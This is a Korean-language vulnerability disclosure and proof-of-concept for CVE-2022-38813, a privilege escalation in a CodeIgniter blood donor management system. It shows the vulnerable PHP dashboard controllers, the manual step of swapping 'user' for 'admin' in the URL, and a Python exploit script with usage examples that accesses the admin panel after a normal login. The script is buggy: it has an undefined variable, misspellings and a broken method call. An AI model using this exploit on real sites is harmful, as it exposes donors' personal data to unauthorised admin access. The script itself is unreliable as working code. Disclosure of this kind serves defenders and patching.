CVE-2022-38813

Codeigniter 기반 Blood Donor Management System v1.0의 user 매개변수를 통한 수직적 권한 상승

기술 설명:

Blood Donor Management System 1.0은 admin/dashboard.php에 대한 접근을 적절히 제한하지 않습니다. 이로 인해 공격자는 모든 사용자 데이터에 접근하고, 사용자를 삭제하며, Blood Group(혈액형)을 추가 및 관리하고 보고서를 제출할 수 있습니다.

영향을 받는 구성 요소 - 소스 코드

다음 소스 코드에서 user/dashboard가 user 매개변수를 적절히 제한하지 않는 것을 확인할 수 있습니다. 따라서 공격자는 해당 매개변수를 admin 매개변수로 변경하여 관리자 계정에 접근할 수 있습니다.

취약한 페이지 - User의 Dashboard.php 및 Admin의 Dashboard.php

  // Dashboard.php in User
class Dashboard extends CI_Controller
{
	//Validating login
	function __construct()
	{
		parent::__construct();
		if (!$this->session->userdata('uid'))
			redirect('user/login');
	}


	public function index()
	{
		$this->load->view('user/dashboard');
	}
}

URL에서 user 매개변수를 admin으로 변경하세요. 즉, localhost/blood/user/dashboard를 localhost/blood/admin/dashboard로 변경합니다.

  // Dashboard.php in Admin
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Dashboard extends CI_Controller
{

	public function index()
	{
		$this->load->model('admin/Dashboard_Model', 'adminn');
		$totalusercount = $this->adminn->totalusercount();
		$totalbloodgroupcount = $this->adminn->totalbloodgroupcount();
		$this->load->view('admin/dashboard', ['totalusercount' => $totalusercount, 'totalbloodgroupcount' => $totalbloodgroupcount]);
	}
}

익스플로잇

import argparse
import requests
from termcolor import cprint
import sys
from bs4 import *
color = "green"
cprint("[+] CVE-2022-38813 Authenticated Privilege Escalation in Blood Donor Management System v1.0", color)
cprint("[+] Author: RashidKhan Pathan aka iHexCoder", color)
cprint("[!] Usage: run exploit.py username password payload", color)
cprint("[!] Example: python3 exploit.py admin [email protected] Test@123", color)


class PrivilegeEscalation:
    color = "green"

    def __init__(self, username, password, payload):
        self.username = username
        self.password = password
        self.paylaod = payload

    def authentication(self):
        color = "green"
        cprint("[+] Authenticating User", color)
        cprint("[+] Username: " + args.username, color)
        cprint("[+] Password: " + args.password, color)
        cprint("[+] Payload: " + args.payload, color)

        login_url = "http://localhost/blood/user/login"

        data = {
            "email": args.username,
            "password": args.password
        }
        login_response = requests.post(login_url, data=data)

        cprint("[+] Exploiting...Started", color)
        if "/user/login" in login_response.url:
            cprint("[+] Credentials is not Valid", "red")
            sys.exit(1)
        else:
            cprint("[+] Authenticated Successfully as a Normal User ", color)
            cprint("[+] Normal User URL Endpoint " + login_response.url, color)

        url = args.payload
        if args.payload != "admin":
            cprint("[+] Please Add Valid Payload", "red")
            sys.exit(1)

        response = requests.get(f"http://localhost/blood/{url}/dashboard")
        cprint("[+] Exploit Compleated", color)
        cprint("[+] Accessed Admin Panel Successfully " + response.url, color)
        cprint("[+] Copy the URL and Replace with user/dashboard URL with " +  esponse.url, color)
        cprint("[+] After Replacing it You Should see the Bypassed Admin Panel", color)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("username", help="Please Add Username", type=str)
    parser.add_argument("password", help="Please Add Password", type=str)
    parser.add_argument("payload", help="Please Add Password", type=str)
    args = parser.parse_args()

    privilegeEscalation = PrivilegeEscalation
    privilegeEscalation.authentication((args.username, args.password, args.payload))

CVE-2022-38813.py 사용법 -

# Changes The Vulnerable user paramter from url to escalate privileges normal user to admin -
python3 CVE-2022-38813.py <username> <password> <payload>

예시 -

python CVE-2022-38813.py [email protected] Test@123 admin

익스플로잇 개념 증명(PoC) -

참고 자료 -

소프트웨어 링크: https://phpgurukul.com/blood-donor-management-system-using-codeigniter

발견자 및 개발자 -

RashidKhan Pathan (iHexCoder), 2022년 9월 9일. Twitter: @itRashid